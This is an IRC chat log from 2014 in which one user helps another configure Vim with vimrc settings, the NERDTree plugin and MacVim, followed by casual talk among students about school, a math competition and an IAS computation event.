[2014-11-21T01:44:27-0500] <~awe> I don't need the curves and the gradients and whatnot.
[2014-11-21T01:44:39-0500] <~awe> nor the trapezoidal shape
[2014-11-21T01:44:44-0500] <~awe> nor the size of the tabs.
[2014-11-21T01:44:45-0500] <~awe> They're so big.
[2014-11-21T01:44:45-0500] <+LittleBobbyTables> Oh, those tabs.
[2014-11-21T01:44:58-0500] <+LittleBobbyTables> Vim has them that you can switch between.
[2014-11-21T01:45:11-0500] <+LittleBobbyTables> Don't have a little x, you need to either :wq or :q! to close them.
[2014-11-21T01:45:17-0500] <~awe> Right, I don't like that.
[2014-11-21T01:45:23-0500] <~awe> I don't like having to press i before I start typing.
[2014-11-21T01:45:53-0500] <~awe> I don't like the way scrolling works in terminals.
[2014-11-21T01:45:55-0500] <~awe> It's weird as hell.
[2014-11-21T01:46:01-0500] <~awe> I do like vim better than emacs though.
[2014-11-21T01:46:08-0500] <+LittleBobbyTables> What do you want the scrolling to be like?
[2014-11-21T01:46:20-0500] <~awe> Have you ever scrolled in a web browser?
[2014-11-21T01:46:33-0500] <+LittleBobbyTables> There's a setting for that.
[2014-11-21T01:46:33-0500] <~awe> You know how when you scroll everything moves?
[2014-11-21T01:46:43-0500] <~awe> Does it feel clunky?
[2014-11-21T01:46:55-0500] <+LittleBobbyTables> No.
[2014-11-21T01:47:42-0500] <~awe> Also, :wq and :x are the same, right?
[2014-11-21T01:47:52-0500] <~awe> And you've convinced me, I guess.
[2014-11-21T01:47:57-0500] <~awe> Let's set up vim now.
[2014-11-21T01:48:37-0500] <+LittleBobbyTables> Yeah, :x and :wq are the same.
[2014-11-21T01:48:42-0500] <+LittleBobbyTables> :x just feels weird to me.
[2014-11-21T01:49:25-0500] <~awe> There's official Rust vim stuff too.
[2014-11-21T01:49:42-0500] <+LittleBobbyTables> There's official everything stuff for Vim.
[2014-11-21T01:49:46-0500] <+LittleBobbyTables> If there's not, you can make it.
[2014-11-21T01:50:11-0500] <+LittleBobbyTables> Wanna be weird and quote every line in a file? :%s/\(^\|$\)/\"/g
[2014-11-21T01:50:22-0500] <~awe> >implying I want to make stuff for my text editor
[2014-11-21T01:50:40-0500] <~awe> I want a text editor, not a project.
[2014-11-21T01:50:51-0500] <~awe> LittleBobbyTables: okay, so, where do I start?
[2014-11-21T01:51:06-0500] <+LittleBobbyTables> Open it up, and type :edit $MYVIMRC
[2014-11-21T01:52:02-0500] <+LittleBobbyTables> Anything come up?
[2014-11-21T01:52:25-0500] <~awe> New file.
[2014-11-21T01:52:34-0500] <+LittleBobbyTables> ok
[2014-11-21T01:53:23-0500] <+LittleBobbyTables> set nocompatible
[2014-11-21T01:53:23-0500] <+LittleBobbyTables> filetype indent plugin on
[2014-11-21T01:53:23-0500] <+LittleBobbyTables> syntax on
[2014-11-21T01:53:40-0500] <+LittleBobbyTables> How do you space on new lines? Tabs?
[2014-11-21T01:53:57-0500] <+LittleBobbyTables> Do you want to have a tab create 2/4/6/8 spaces instead? Or do you never use tab?
[2014-11-21T01:54:13-0500] <~awe> 4 spaces
[2014-11-21T01:54:17-0500] <~awe> soft tabs
[2014-11-21T01:54:51-0500] <+LittleBobbyTables> set shiftwidth=4
[2014-11-21T01:54:51-0500] <+LittleBobbyTables> set softtabstop=4
[2014-11-21T01:54:51-0500] <+LittleBobbyTables> set expandtab
[2014-11-21T01:55:17-0500] <+LittleBobbyTables> That's about all you'll need for just basic text editing, unless something feels off when you start using it.
[2014-11-21T01:55:40-0500] <~awe> Well, I wanted tree view.
[2014-11-21T01:55:43-0500] <~awe> and tabs.
[2014-11-21T01:56:07-0500] <+LittleBobbyTables> tabs are there, just... Weird for how you're used to.
[2014-11-21T01:56:43-0500] <~awe> How do I use them?
[2014-11-21T01:56:56-0500] <+LittleBobbyTables> http://www.vim.org/scripts/script.php?script_id=1658
[2014-11-21T01:57:13-0500] <+LittleBobbyTables> That's the most popular tree view plugin/script.
[2014-11-21T01:57:51-0500] <~awe> Hmm, so, I saved that stuff
[2014-11-21T01:58:07-0500] <~awe> but I don't have a .vimrc in my home folder.
[2014-11-21T01:58:12-0500] <+LittleBobbyTables> Hmm.
[2014-11-21T01:58:23-0500] <+LittleBobbyTables> No ~/.vimrc?
[2014-11-21T01:58:28-0500] <~awe> Nope.
[2014-11-21T01:58:35-0500] <~awe> And nothing seems to have changed configuration wise.
[2014-11-21T01:58:46-0500] <+LittleBobbyTables> You have to restart vim when editing your vimrc
[2014-11-21T01:59:00-0500] <+LittleBobbyTables> http://vim.wikia.com/wiki/Using_tab_pages
[2014-11-21T01:59:16-0500] <~awe> I did.
[2014-11-21T01:59:24-0500] <~awe> I just manually edited ~/.vimrc
[2014-11-21T01:59:47-0500] <~awe> and now it works.
[2014-11-21T01:59:53-0500] <+LittleBobbyTables> Yeah
[2014-11-21T02:00:12-0500] <+LittleBobbyTables> I forgot where it creates it by default if it doesn't find it
[2014-11-21T02:00:23-0500] <+LittleBobbyTables> But anyway, read those two, see if they're what you're interested in.
[2014-11-21T02:01:43-0500] <+LittleBobbyTables> Like I said, though, if you want a basic text editor that you don't want to really play around with, Emacs or Sublime is better.
[2014-11-21T02:02:02-0500] <+LittleBobbyTables> Vim is nice in that it can configure quite literally everything, but the learning curve starts higher.
[2014-11-21T02:02:10-0500] <~awe> I just tried emacs and it was awful.
[2014-11-21T02:02:15-0500] <~awe> In the first thirty seconds.
[2014-11-21T02:02:18-0500] <~awe> And the learning curve seemed just as high.
[2014-11-21T02:02:42-0500] <~awe> I'll go for the one that I at least know a bit about.
[2014-11-21T02:02:51-0500] <~awe> Okay, so, I threw nerdtree into ~/.vim
[2014-11-21T02:02:55-0500] <~awe> but nothing happened.
[2014-11-21T02:03:06-0500] <~awe> I can't find the help file with :help NERD_tree.txt
[2014-11-21T02:03:17-0500] <+LittleBobbyTables> uhh
[2014-11-21T02:03:21-0500] <+LittleBobbyTables> Quick unrelated thing
[2014-11-21T02:03:26-0500] <+LittleBobbyTables> Open a new terminal and type vimtutorial
[2014-11-21T02:03:32-0500] <+LittleBobbyTables> Let me know if that got installed
[2014-11-21T02:04:40-0500] <~awe> vNah.
[2014-11-21T02:04:48-0500] <+LittleBobbyTables> Alright no biggie.
[2014-11-21T02:04:57-0500] <~awe> I'm just using vim as installed with OS X.
[2014-11-21T02:04:57-0500] <+LittleBobbyTables> I forgot if it gets installed or it's something separate.
[2014-11-21T02:05:01-0500] <+LittleBobbyTables> Ah alright.
[2014-11-21T02:05:08-0500] <~awe> So, I'm using it in the command line.
[2014-11-21T02:05:25-0500] <+LittleBobbyTables> Which it is where it normally is :P
[2014-11-21T02:05:35-0500] <+LittleBobbyTables> I think they package the tutorial differently now, though...
[2014-11-21T02:05:36-0500] <~awe> I know, but there's also stuff that throws it into a window.
[2014-11-21T02:05:41-0500] <~awe> Like the emacs one.
[2014-11-21T02:05:51-0500] <+LittleBobbyTables> Anyway, ls ~/.vim/
[2014-11-21T02:05:54-0500] <~awe> Vim supports the same sort of compilation options, too?
[2014-11-21T02:05:56-0500] <~awe> right?
[2014-11-21T02:05:59-0500] <~awe> like emacs does?
[2014-11-21T02:06:04-0500] <+LittleBobbyTables> Compilation how so?
[2014-11-21T02:06:13-0500] <~awe> Can I make a command like
[2014-11-21T02:06:15-0500] <~awe> :build
[2014-11-21T02:06:21-0500] <~awe> and then have that run cargo build on rust files
[2014-11-21T02:06:28-0500] <~awe> and show output
[2014-11-21T02:06:30-0500] <~awe> and :test
[2014-11-21T02:06:35-0500] <~awe> and have it run cargo test on rust files
[2014-11-21T02:06:49-0500] <+LittleBobbyTables> Not by default
[2014-11-21T02:06:55-0500] <~awe> Atom can't do that either.
[2014-11-21T02:07:05-0500] <~awe> But if I'm going to already have a terminal window open for vim, I may as well have vim do that, too.
[2014-11-21T02:07:13-0500] <~awe> Let's get me a tree view first though.
[2014-11-21T02:07:21-0500] <~awe> White-Pillar:.vim Aaron$ ls ~/.vim
[2014-11-21T02:07:21-0500] <~awe> doc		nerdtree_plugin	plugin		syntax
[2014-11-21T02:07:48-0500] <+LittleBobbyTables> ls ~/.vim/doc
[2014-11-21T02:07:57-0500] <~awe> White-Pillar:.vim Aaron$ ls ~/.vim/doc
[2014-11-21T02:07:57-0500] <~awe> NERD_tree.txt
[2014-11-21T02:08:03-0500] <+LittleBobbyTables> That's really weird...
[2014-11-21T02:08:12-0500] <+LittleBobbyTables> Did you restart vim?
[2014-11-21T02:08:42-0500] <~awe> Yeah.
[2014-11-21T02:08:53-0500] <+LittleBobbyTables> Alright.
[2014-11-21T02:09:24-0500] <+LittleBobbyTables> Well my other laptop decided to turn on, so give me like 10-15 minutes and I'll be able to help a bit more.
[2014-11-21T02:09:33-0500] <~awe> LOCAL ADDITIONS:                                *local-additions*
[2014-11-21T02:09:33-0500] <~awe> |NERD_tree.txt|   A tree explorer plugin that owns your momma!
[2014-11-21T02:09:37-0500] <~awe> In :help
[2014-11-21T02:10:20-0500] <+LittleBobbyTables> Can you :helptags
[2014-11-21T02:10:38-0500] <~awe> It says argument required.
[2014-11-21T02:11:46-0500] <+LittleBobbyTables> Do they have rakeon osx?
[2014-11-21T02:12:08-0500] <~awe> $VIMRUNTIME is /usr/share/vim/vim73/
[2014-11-21T02:12:13-0500] <+LittleBobbyTables> First off, try :NERDTree, callingthe command itself.
[2014-11-21T02:12:22-0500] <~awe> That worked.
[2014-11-21T02:12:28-0500] <+LittleBobbyTables> Hmm.
[2014-11-21T02:12:33-0500] <+LittleBobbyTables> That's weird then.
[2014-11-21T02:12:43-0500] <+LittleBobbyTables> Don't know why you can't help the doc
[2014-11-21T02:13:06-0500] <+LittleBobbyTables> Is that something like you wanted?
[2014-11-21T02:13:12-0500] <~awe> Yeah, that's great.
[2014-11-21T02:13:36-0500] <+LittleBobbyTables> You can create bookmarks with it as well.
[2014-11-21T02:13:39-0500] <~awe> I just wanted to be able to switch files easily without closing it and moving around
[2014-11-21T02:14:02-0500] <+LittleBobbyTables> So like, if you have 3-4 different projects
[2014-11-21T02:14:24-0500] <+LittleBobbyTables> Mouse over the directory, and :bookmark "name of bookmark"
[2014-11-21T02:14:33-0500] <+LittleBobbyTables> Then B, and you can switch to them easily.
[2014-11-21T02:14:59-0500] <+LittleBobbyTables> Sorry, :Bookmark
[2014-11-21T02:15:01-0500] <+LittleBobbyTables> It's case sensitive.
[2014-11-21T02:15:40-0500] <~awe> If I've got tree view open and I do o and open a file
[2014-11-21T02:15:51-0500] <~awe> How do I switch back to treeview without closing the file?
[2014-11-21T02:16:11-0500] <+LittleBobbyTables> Does :NERDTree close it?
[2014-11-21T02:16:14-0500] <~awe> No.
[2014-11-21T02:16:15-0500] <~awe> It's still open.
[2014-11-21T02:16:24-0500] <+LittleBobbyTables> What do you mean then?
[2014-11-21T02:16:34-0500] <~awe> How do I get my cursor back into it?
[2014-11-21T02:16:59-0500] <+LittleBobbyTables> Pretty sure you can just click
[2014-11-21T02:17:18-0500] <~awe> Clicking doesn't do shit.
[2014-11-21T02:17:30-0500] <+LittleBobbyTables> Ohright, that's a set I had setup.
[2014-11-21T02:17:52-0500] <~awe> What do I have to set?
[2014-11-21T02:17:59-0500] <~awe> I've got .vimrc open again.
[2014-11-21T02:18:54-0500] <+LittleBobbyTables> set mouse=a
[2014-11-21T02:19:27-0500] <+LittleBobbyTables> Also
[2014-11-21T02:19:31-0500] <+LittleBobbyTables> If you have just one new command
[2014-11-21T02:19:41-0500] <+LittleBobbyTables> You can run that as a command instead of :x and reopening.
[2014-11-21T02:20:05-0500] <~awe> Uhh, set mouse=a does nothing.
[2014-11-21T02:20:48-0500] <+LittleBobbyTables> :help 'mouse'
[2014-11-21T02:21:48-0500] <+LittleBobbyTables> afk for a little bit
[2014-11-21T02:21:53-0500] <+LittleBobbyTables> Setting up other laptop
[2014-11-21T02:23:13-0500] <~awe> Only works for certain terminals (xterm, MS-DOS, Win32 |win32-mouse|, QNX pterm, *BSD console with sysmouse and Linux console with gpm)
[2014-11-21T02:25:43-0500] <~awe> Confirmed online that there's no support for it.
[2014-11-21T02:25:52-0500] <~awe> There is MacVIM.
[2014-11-21T02:25:55-0500] <~awe> MacVim*
[2014-11-21T02:28:42-0500] <~awe> I got MacVim.
[2014-11-21T02:28:46-0500] <~awe> This is way better than Emacs.
[2014-11-21T02:28:53-0500] <~awe> File scrolling is totally fluid.
[2014-11-21T02:30:39-0500] <~awe> Let's build a new version though.
[2014-11-21T02:30:44-0500] <~awe> This is dated.
[2014-11-21T02:30:46-0500] <~awe> By a few months.
[2014-11-21T02:30:49-0500] <~awe> almost 300 commits.
[2014-11-21T02:31:49-0500] <~awe> You know, git is great when it's incremental, but really shitty when it's downloading 7,000 commits.
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[2014-11-21T02:37:01-0500] Topic is Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-21T02:37:01-0500] Set by Pidgey on November 20, 2014 at 9:14:52 PM EST
[2014-11-21T02:37:01-0500] Mode is +nt
[2014-11-21T02:46:22-0500] <nezorg> does vim have something like magit?
[2014-11-21T02:46:24-0500] <nezorg> magit is amazing
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[2014-11-21T09:21:52-0500] <JacobEdelman> I'm looking at a cmu presnetation on context-sensitive grammars when all of the sudden it say:
[2014-11-21T09:21:52-0500] <JacobEdelman> Here is a cute diagonalization argument.
[2014-11-21T09:21:52-0500] <JacobEdelman> ....[some basic stuff to set up the proof]...
[2014-11-21T09:21:52-0500] <JacobEdelman> [erog] L cannot be context sensitive by the usual diagonal mumbo-jumbo.
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[2014-11-21T11:07:56-0500] <nezorg> ello
[2014-11-21T11:12:02-0500] <Tamini> ello
[2014-11-21T11:13:03-0500] <Tamini> i'm so done with school already
[2014-11-21T11:13:10-0500] <Tamini> even though i have half an hour left
[2014-11-21T11:34:23-0500] <JacobEdelman> I have half the day left
[2014-11-21T11:34:38-0500] <JacobEdelman> I have a study hall, an indpeendnet study, and gym (where I will just be spectating today)
[2014-11-21T11:34:42-0500] <JacobEdelman> so nothing left really 
[2014-11-21T11:34:43-0500] <JacobEdelman> :)
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[2014-11-21T11:49:59-0500] <alokpathy> hai guyz
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[2014-11-21T11:55:20-0500] <nezorg> and I’m just about to start 2nd period
[2014-11-21T11:55:26-0500] <nezorg> which is essentially independent study :P
[2014-11-21T11:56:20-0500] <nezorg> JacobEdelman: why would you spectate gym?
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[2014-11-21T11:59:10-0500] <Tamini> apparently
[2014-11-21T11:59:24-0500] <Tamini> brice might crash our dinner
[2014-11-21T11:59:38-0500] <Tamini> :P
[2014-11-21T12:01:08-0500] <nezorg> le gasp
[2014-11-21T12:02:04-0500] <Tamini> lol
[2014-11-21T12:02:18-0500] <Tamini> nezorg: why are you not going to be at pumac
[2014-11-21T12:02:20-0500] <Tamini> the shaaame
[2014-11-21T12:02:32-0500] <nezorg> Tamini: I’ve missed enough school for long distance trips lately
[2014-11-21T12:02:33-0500] <nezorg> :P
[2014-11-21T12:02:49-0500] <Tamini> LOL
[2014-11-21T12:02:52-0500] <Tamini> psh
[2014-11-21T12:03:01-0500] <Tamini> what have you done other than hsf? :P
[2014-11-21T12:03:50-0500] <+LittleBobbyTables> nezorg, what's megit do?
[2014-11-21T12:05:44-0500] <Tamini> also guys, when alok/jacob are alive
[2014-11-21T12:05:51-0500] <JacobEdelman> I'm alive
[2014-11-21T12:05:51-0500] <Tamini> ping them & me so we can plan pls
[2014-11-21T12:05:58-0500] <JacobEdelman> plan what?
[2014-11-21T12:05:59-0500] <Tamini> what r we doin tmr man
[2014-11-21T12:06:08-0500] <+LittleBobbyTables> Each other, of course
[2014-11-21T12:06:17-0500] <JacobEdelman> nezorg: I'm spectaitng gym cause were at the end of our dance unit and the people are performing so they make us watch
[2014-11-21T12:06:23-0500] <JacobEdelman> ...
[2014-11-21T12:06:50-0500] <Tamini> LOL LittleBobbyTables
[2014-11-21T12:06:52-0500] <Tamini> and ooh dance
[2014-11-21T12:06:53-0500] <JacobEdelman> Tamini: http://www.ias.edu/computation2014
[2014-11-21T12:06:57-0500] <JacobEdelman> signup
[2014-11-21T12:07:00-0500] <Tamini> pls provide video of jedelman dancing
[2014-11-21T12:07:01-0500] <JacobEdelman> for everything after lunch
[2014-11-21T12:07:09-0500] <JacobEdelman> ...theres one floating around fb
[2014-11-21T12:07:10-0500] <JacobEdelman> I think
[2014-11-21T12:07:12-0500] <JacobEdelman> to my horror
[2014-11-21T12:07:16-0500] <Tamini> wait, can i go?
[2014-11-21T12:07:18-0500] <Tamini> and uhhh
[2014-11-21T12:07:23-0500] <JacobEdelman> you can if you signup
[2014-11-21T12:07:24-0500] <Tamini> i kinda wanna puzzlehunt too
[2014-11-21T12:07:38-0500] <JacobEdelman> for dinner or lunch???
[2014-11-21T12:07:42-0500] <Tamini> but what if i make tiebr-
[2014-11-21T12:07:44-0500] <Tamini> nah jk
[2014-11-21T12:07:47-0500] <Tamini> and uhh
[2014-11-21T12:07:52-0500] <Tamini> there's some puzzle thing apparently
[2014-11-21T12:08:01-0500] <JacobEdelman> (if any of us make tiebreakers or whatever than we stay for that)
[2014-11-21T12:08:04-0500] <JacobEdelman> really?
[2014-11-21T12:08:09-0500] <JacobEdelman> oh, I guess we can see what it is
[2014-11-21T12:08:11-0500] <JacobEdelman> cause at http://www.ias.edu/computation2014
[2014-11-21T12:08:15-0500] <JacobEdelman> scott aaronson is speaking
[2014-11-21T12:08:21-0500] <Tamini> yeaa i knoww
[2014-11-21T12:08:26-0500] <Tamini> uhh lemme see if im allowed to go
[2014-11-21T12:08:26-0500] <JacobEdelman> http://www.scottaaronson.com/blog/
[2014-11-21T12:08:29-0500] <JacobEdelman> and hes cool
[2014-11-21T12:08:35-0500] <JacobEdelman> we will be chaperoned by an adult
[2014-11-21T12:08:40-0500] <JacobEdelman> to the conference
[2014-11-21T12:08:42-0500] <JacobEdelman> technicaly
[2014-11-21T12:08:49-0500] <JacobEdelman> (my older brother is going, hes 18)
[2014-11-21T12:09:06-0500] <+LittleBobbyTables> How many brothers do you have
[2014-11-21T12:09:08-0500] <Tamini> ooh ben <3
[2014-11-21T12:09:18-0500] <Tamini> i havent actually talked to be evet
[2014-11-21T12:09:20-0500] <Tamini> ever*
[2014-11-21T12:09:24-0500] <JacobEdelman> LittleBobbyTables: 2, and one sister
[2014-11-21T12:09:26-0500] <nezorg> Tamini: well I guess csaw is about it :P
[2014-11-21T12:09:26-0500] <nezorg> but still
[2014-11-21T12:09:26-0500] <nezorg> too much homework to make up antyway
[2014-11-21T12:09:26-0500] <nezorg> LittleBobbyTables: magit is a basically really nice way to manage git inside emacs
[2014-11-21T12:09:34-0500] <Tamini> nezorg: wow
[2014-11-21T12:09:41-0500] <+LittleBobbyTables> You have a sister? Since when?
[2014-11-21T12:09:42-0500] <Tamini> so much homework from two days? :P
[2014-11-21T12:09:51-0500] <+LittleBobbyTables> nezorg: there's a plugin for that then
[2014-11-21T12:10:09-0500] <JacobEdelman> LittleBobbyTables: shes in like 5th grade or something, so I've had her for about 10 years I guess
[2014-11-21T12:10:12-0500] <JacobEdelman> or so
[2014-11-21T12:10:34-0500] <JacobEdelman> Tamini: when are you staing in princeton till?
[2014-11-21T12:10:34-0500] <+LittleBobbyTables> Is she a computer nerd as well>
[2014-11-21T12:10:35-0500] <nezorg> Tamini: three, but yeah — plus I didn’t have the weekend to do any of it
[2014-11-21T12:10:35-0500] <Tamini> lolol
[2014-11-21T12:10:37-0500] <JacobEdelman> *staying
[2014-11-21T12:10:37-0500] <Tamini> and uhh
[2014-11-21T12:10:42-0500] <Tamini> JacobEdelman: one sec
[2014-11-21T12:10:43-0500] <JacobEdelman> LittleBobbyTables: we hope
[2014-11-21T12:10:49-0500] <+LittleBobbyTables> Start teacher her now
[2014-11-21T12:10:53-0500] <JacobEdelman> we are
[2014-11-21T12:10:55-0500] <JacobEdelman> don't worry
[2014-11-21T12:11:01-0500] <Tamini> LOL
[2014-11-21T12:11:05-0500] <Tamini> start teacher
[2014-11-21T12:11:07-0500] <Tamini> lol
[2014-11-21T12:11:36-0500] <Tamini> right after awards apparently, JacobEdelman
[2014-11-21T12:11:46-0500] <JacobEdelman> oh, so thats not time for much
[2014-11-21T12:11:50-0500] <JacobEdelman> well 
[2014-11-21T12:11:52-0500] <JacobEdelman> actually it is
[2014-11-21T12:12:17-0500] <JacobEdelman> wait, it ends at like 5:30 , right? why don't you guys just stay in town for dinner
[2014-11-21T12:12:32-0500] <JacobEdelman> otherwise you'll be stopping on the way back at some bad food place
[2014-11-21T12:14:00-0500] <Tamini> i have permission to go
[2014-11-21T12:14:15-0500] <Tamini> im dragging a friend thi
[2014-11-21T12:14:47-0500] <Tamini> i might stay in town for dinner, idk :/
[2014-11-21T12:19:41-0500] <JacobEdelman> okay
[2014-11-21T12:19:53-0500] <+LittleBobbyTables> I think you're going to the wrong state.
[2014-11-21T12:19:57-0500] <JacobEdelman> what about labrynth books? are you interested in stopping by there
[2014-11-21T12:20:06-0500] <JacobEdelman> LittleBobbyTables: what?
[2014-11-21T12:20:22-0500] <+LittleBobbyTables> You should definitely come West, not East.
[2014-11-21T12:21:35-0500] <Tamini> yes pls
[2014-11-21T12:21:42-0500] <Tamini> you promised me ice cream and shoppig
[2014-11-21T12:26:28-0500] <JacobEdelman> .....out of context that sounds like normal teenage stuff
[2014-11-21T12:26:37-0500] <JacobEdelman> in context, your going to a math competition and the shopping is for math/cs/nerd books
[2014-11-21T12:28:04-0500] <JacobEdelman> I like the context :)
[2014-11-21T12:28:12-0500] <+LittleBobbyTables> I've never known teenagers to go shopping to actually shop...
[2014-11-21T12:28:32-0500] <JacobEdelman> I go shopping to actually shop.... for books
[2014-11-21T12:28:36-0500] <JacobEdelman> used bookstores are fun
[2014-11-21T12:28:40-0500] <JacobEdelman> I get my best math books there
[2014-11-21T12:28:53-0500] <JacobEdelman> anda bunch of old books (I have one fro the late 1800s)
[2014-11-21T12:28:57-0500] <JacobEdelman> *from
[2014-11-21T12:28:58-0500] <JacobEdelman> *and
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[2014-11-21T12:33:47-0500] <alokpathy> hai guyz again
[2014-11-21T12:33:55-0500] <JacobEdelman> hello alokpathy
[2014-11-21T12:34:08-0500] <+LittleBobbyTables> Hi apothy
[2014-11-21T12:34:10-0500] <alokpathy> JacobEdelman: Pay attention in class gosh
[2014-11-21T12:34:16-0500] <JacobEdelman> make sure to sign up for eveyrthing after lunch alokpathy and Tamini 
[2014-11-21T12:34:17-0500] <JacobEdelman> http://www.ias.edu/computation2014
[2014-11-21T12:34:30-0500] <JacobEdelman> alokpathy: I'm in study hall/skills/ whatever
[2014-11-21T12:34:36-0500] <Tamini> Jacob do you know
[2014-11-21T12:34:37-0500] <Tamini> jeffery
[2014-11-21T12:34:41-0500] <Tamini> jeffrey
[2014-11-21T12:34:42-0500] <JacobEdelman> (In a month or two I'll just be in regular study hall probaly)
[2014-11-21T12:34:43-0500] <+LittleBobbyTables> I know Geoff
[2014-11-21T12:34:44-0500] <alokpathy> JacobEdelman: What'd you put for organization name?
[2014-11-21T12:34:50-0500] <JacobEdelman> None
[2014-11-21T12:35:00-0500] <alokpathy> "None"?
[2014-11-21T12:35:01-0500] <JacobEdelman> hmmm... maybe I should have put hscs.io :P
[2014-11-21T12:35:04-0500] <JacobEdelman> yup
[2014-11-21T12:35:06-0500] <alokpathy> Okay
[2014-11-21T12:35:07-0500] <JacobEdelman> Tamini: no
[2014-11-21T12:35:13-0500] <JacobEdelman> Tamini: not off the top of my head
[2014-11-21T12:35:16-0500] <Tamini> he knows two edelmans apparently
[2014-11-21T12:35:19-0500] <Tamini> jeffrey yu
[2014-11-21T12:35:20-0500] <alokpathy> Done
[2014-11-21T12:35:31-0500] <Tamini> he was supposed to go to wwp but went to tj instead
[2014-11-21T12:35:41-0500] <Tamini> alokpathy: are we going to that physics lecture
[2014-11-21T12:35:47-0500] <alokpathy> Tamini: Physics lecture?
[2014-11-21T12:35:51-0500] <Tamini> uh
[2014-11-21T12:35:57-0500] <alokpathy> I sorta blindly signed up for it
[2014-11-21T12:35:58-0500] <Tamini> https://www.ias.edu/computation2014
[2014-11-21T12:36:01-0500] <Tamini> LOL ok
[2014-11-21T12:36:10-0500] <Tamini> im only going to physics tho darn
[2014-11-21T12:36:24-0500] <alokpathy> Wait which one is phsyics?
[2014-11-21T12:36:38-0500] <Tamini> title/institute affiliation?
[2014-11-21T12:36:39-0500] <Tamini> uh
[2014-11-21T12:36:45-0500] <JacobEdelman> I said "None"
[2014-11-21T12:36:49-0500] <alokpathy> Tamini: I put "None" for all that
[2014-11-21T12:36:49-0500] <Tamini> scott aaronson
[2014-11-21T12:36:52-0500] <alokpathy> That's physics?
[2014-11-21T12:36:54-0500] <alokpathy> I thought thatw as like
[2014-11-21T12:36:56-0500] <alokpathy> quantum computing
[2014-11-21T12:37:11-0500] <JacobEdelman> same thing
[2014-11-21T12:37:24-0500] <alokpathy> Not exactly
[2014-11-21T12:38:03-0500] <Tamini> also can i have like
[2014-11-21T12:38:06-0500] <Tamini> be's article
[2014-11-21T12:38:14-0500] <Tamini> lost the link
[2014-11-21T12:38:15-0500] <JacobEdelman> Tamini: was you going to ias at all contingent upon my brother chaperoning or anything?
[2014-11-21T12:38:23-0500] <Tamini> uhhh no
[2014-11-21T12:38:25-0500] <JacobEdelman> good
[2014-11-21T12:38:30-0500] <Tamini> contingent on getting friends to come
[2014-11-21T12:38:31-0500] <JacobEdelman> okay, I'll get the article
[2014-11-21T12:38:32-0500] <Tamini> why?
[2014-11-21T12:38:52-0500] <JacobEdelman> I needed to know if I had to make him stay with us or whatever
[2014-11-21T12:39:02-0500] <JacobEdelman> http://www.tigermag.com/2014/11/all-hail-princetonia/
[2014-11-21T12:39:06-0500] <JacobEdelman> thats bens article
[2014-11-21T12:39:10-0500] <alokpathy> We can make JacobEdelman be the one responsible for us.
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
[2014-11-21T12:39:41-0500] <JacobEdelman> hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
